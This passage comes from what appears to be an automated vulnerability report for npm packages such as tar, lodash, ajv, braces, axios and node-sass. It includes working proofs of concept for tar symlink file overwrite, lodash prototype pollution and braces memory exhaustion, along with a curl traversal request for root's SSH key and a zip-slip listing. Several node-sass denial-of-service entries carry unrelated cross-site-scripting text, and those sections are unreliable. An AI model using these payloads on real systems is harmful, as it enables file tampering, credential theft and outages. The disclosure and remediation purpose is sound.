Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ajv to version 6.14.0, 8.18.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• Red Hat Bugzilla Bug
• Vulnerability Report

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.

Remediation

Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.

This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.

Remediation

Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

• GitHub Commit

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

• HackerOne Report

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

• GitHub Commit
• GitHub PR
• NPM Security Advisory

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. An issue was discovered in LibSass through 3.5.4. An out-of-bounds read of a memory region was found in the function Sass::Prelexer::skip_over_scopes which could be leveraged by an attacker to disclose information or manipulated to read from unmapped memory causing a denial of service. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

• GitHub Commit
• POC: GitHub Issue

Overview

shell-quote is a package used to quote and parse shell commands.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.

Remediation

Upgrade shell-quote to version 1.7.3 or higher.

References

• GitHub ChangeLog
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerable Code

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

• GitHub Gist
• Vulnerable Code

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.0 or higher.

References

• GitHub PR

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

• GitHub Commit

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

• GitHub Commit

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). There are memory leaks triggered by deeply nested code, such as code with a long sequence of open parenthesis characters, leading to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• NVD
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Input Validation. There is an illegal address access in the Eval::operator function in eval.cpp. A crafted input will lead to a remote denial of service. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• GitHub Issue
• GitHub PR
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Input Validation. There is an illegal address access in ast.cpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• NVD
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read via lexer.hpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
